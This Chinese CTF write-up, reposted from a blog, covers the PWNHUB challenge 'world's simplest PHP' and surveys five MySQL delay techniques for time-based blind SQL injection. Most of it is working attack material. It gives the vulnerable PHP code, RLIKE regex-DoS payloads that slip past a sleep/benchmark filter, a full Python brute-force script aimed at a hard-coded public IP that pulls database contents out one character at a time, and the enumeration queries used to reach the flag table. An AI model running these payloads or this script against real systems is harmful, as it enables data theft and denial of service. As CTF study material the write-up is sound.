MySQL时间盲注五种延时方法 (PWNHUB 非预期解)

转自cdxy师傅:https://www.cdxy.me/?p=789

PWNHUB 一道盲注题过滤了常规的sleep和benchmark函数,引发对时间盲注中延时方法的思考。

延时函数

  • SLEEP
mysql> select sleep(5);
+----------+
| sleep(5) |
+----------+
| 0 |
+----------+
1 row in set (5.00 sec)
  • BENCHMARK
mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (2.79 sec)
mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (2.79 sec)
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+------------+
| count(*) |
+------------+
| 2651020120 |
+------------+
1 row in set (1 min 51.05 sec)

延时精确可控,利用环境有限,需要开两个session测试。

SESSION A

mysql> select get_lock('test',1);
+--------------------+
| get_lock('test',1) |
+--------------------+
| 1 |
+--------------------+
1 row in set (0.00 sec)
SESSION B mysql> select get_lock('test',5);
+--------------------+
| get_lock('test',5) |
+--------------------+
| 0 |
+--------------------+
1 row in set (5.00 sec)
  • RLIKE

通过rpadrepeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。

mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set (5.27 sec)

PWNHUB-全宇宙最简单的PHP-Writeup

<?php
require 'conn.php';
$id = $_GET['id'];
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
{
die("you bad bad!");
}
$sql = "select * from article where id='".intval($id)."'";
$res = mysql_query($sql);
if(!$res){
die("404 not found!");
}
$row = mysql_fetch_array($res, MYSQL_ASSOC);
mysql_query("update view set view_times=view_times+1 where id = '".$id." '");
?>

上面代码明显可从id参数注入代码到MySQL UPDATE语句。

从时间盲注的角度解,题中除过滤掉sleepbenchmark两个延时函数之外,并无其他限制。

思路:寻找新的延时函数

想到日常数据开发中自己的SQL中多次因正则消耗计算资源,又想到某次白帽大会上关于正则Dos的议题,然后开始朝RLIKE尝试。

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

以上代码等同于 sleep(5)

本地测试

mysql> update view1 set cnt=cnt+1 where id='' and IF(SUBSTR((select 5 from dual),1,1)='',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and ''='';
Query OK, 0 rows affected (5.08 sec)
Rows matched: 0 Changed: 0 Warnings: 0 mysql> update view1 set cnt=cnt+1 where id='' and IF(SUBSTR((select 5),1,1)='',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and ''='';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0 Changed: 0 Warnings: 0

Docker起了个PHP 5.6+MySQL,代码copy过去,构建相同环境测试脚本,爆破到正确字符时,测试机会延时10s左右;遇到错误字符会在0.1s以内返回,可以明显区分。

本地测试执行version()的结果:

N  -  0.0232281684875
O - 0.0197539329529
P - 0.028028011322
Q - 0.0212018489838
R - 0.0244557857513
S - 0.0253188610077
T - 0.0281682014465
U - 0.0236928462982
V - 0.0221898555756
W - 0.0275118350983
X - 0.0206508636475
Y - 0.0258479118347
Z - 0.0194098949432
@ - 0.0250370502472
{ - 0.0211541652679
} - 0.0245869159698
- - 0.0192731937281
_ - 0.0247149467468
. - 0.0188128948212
Error or Finished.
Current Result: 5.5.59-0ubuntu0.14.04.1[NULL][NULL]

线上测试

线上就很蛋疼了。首先环境是每5min重启一次,每次只能在重启的瞬间(0.5s)打上10条请求,然后服务器就被用笛卡尔积的同学打挂了。

二分法懒得搞了,在脚本里加了一些纠错机制,线上环境正误尝试的时间差降为0.2s左右,但仍可以区分。

# !/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
from requests.exceptions import ReadTimeout, ConnectionError
from urllib import quote
import time
import re payloads = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@{}-_.' url = 'http://52.80.179.198:8080/article.php?id='
# url = 'http://localhost:8090/article.php?id=' # 替代sleep()
# 14s
# sleep_func = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'" # 5s
sleep_func = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'" # 本地测试代码
def run_local(query):
def brute_single_char(target_index):
for c in payloads:
payload = "1' and IF(SUBSTR({},{},1)='{}',{},0) and '1'='1".format(query, target_index, c, sleep_func)
confirm_cnt = 0
# print payload
for i in range(10000): # 为了宕机重试
if confirm_cnt > 3: # 连续四次正确尝试,保存结果
print 'FOUND!!! ' + c
return c time_start = time.time()
try:
req = requests.get(url + quote(payload), timeout=20)
if 'Warning' in req.content:
print req.content
if 'helloworld' not in req.content:
print c, 'MySQL Down, retry...'
# print req.content
continue
except ReadTimeout: # 时间长:正确尝试
print c, ' - timeout, retry...'
# confirm_cnt += 1
continue
except ConnectionError:
print c, 'Web Server Down, retry...'
continue # print ans.content
time_end = time.time()
print c, ' - ', time_end - time_start
if time_end - time_start < 5: # 时间短:错误尝试
# print 'false:' + c
break
confirm_cnt += 1
return '[NULL]' # 全部字母未命中 result = ''
try:
for index in range(1, 100):
if len(re.findall(r'\[NULL\]', result)) > 2:
print 'Error or Finished. \nCurrent Result: ' + result
return
result += brute_single_char(index)
except KeyboardInterrupt:
print result # 线上测试代码
def run_sort(query):
def brute_single_char(target_index):
timelist = {}
for c in payloads:
payload = "1' and IF(SUBSTR({},{},1)='{}',{},0) and '1'='1".format(query, target_index, c, sleep_func)
for i in range(10000): # 为了宕机重试
time_start = time.time()
try:
req = requests.get(url + quote(payload), timeout=2)
if 'helloworld' not in req.content:
continue
except ReadTimeout:
print c, ' - timeout, retry...'
continue
except ConnectionError:
continue time_end = time.time()
print c, ' - ', time_end - time_start
timelist[c] = time_end - time_start
break
if not len(timelist):
return '[NULL]' # 全部字母未命中
rec = sorted(timelist.items(), key=lambda item: item[1])
print rec
return rec[-1] result = []
try:
for index in range(7, 100):
print '________INDEX {}_______'.format(index)
result.append(brute_single_char(index))
if result[-1] is '[NULL]':
print 'Error or Finished. \nCurrent Result: '
print result
return
except KeyboardInterrupt:
print result if __name__ == '__main__':
run_sort('(select * from flags)')

以下爆破结果中,3为正确结果,其余为错误结果。

1  -  0.0639481544495
2 - 0.0795040130615
3 - 0.3621571064
4 - 0.0846300125122
5 - 0.0894010066986
6 - 0.0945949554443
7 - 0.0842099189758
8 - 0.0861508846283
9 - 0.0922508239746

之后依次执行以下代码get flag(跑了多少个小时我也不知道。。。)

select count(*) from article -> 3

database() -> post

select count(table_name) from information_schema.tables where table_schema='post' -> 3

select length(table_name) from information_schema.tables where table_schema=\'post\' and table_name<>\'article\' and table_name<>\'view\' —> 5

select table_name from information_schema.tables where table_schema=\'post\' and table_name<>\'article\' and table_name<>\'view\' -> flags

select count(*) from flags -> 1

select * from flag
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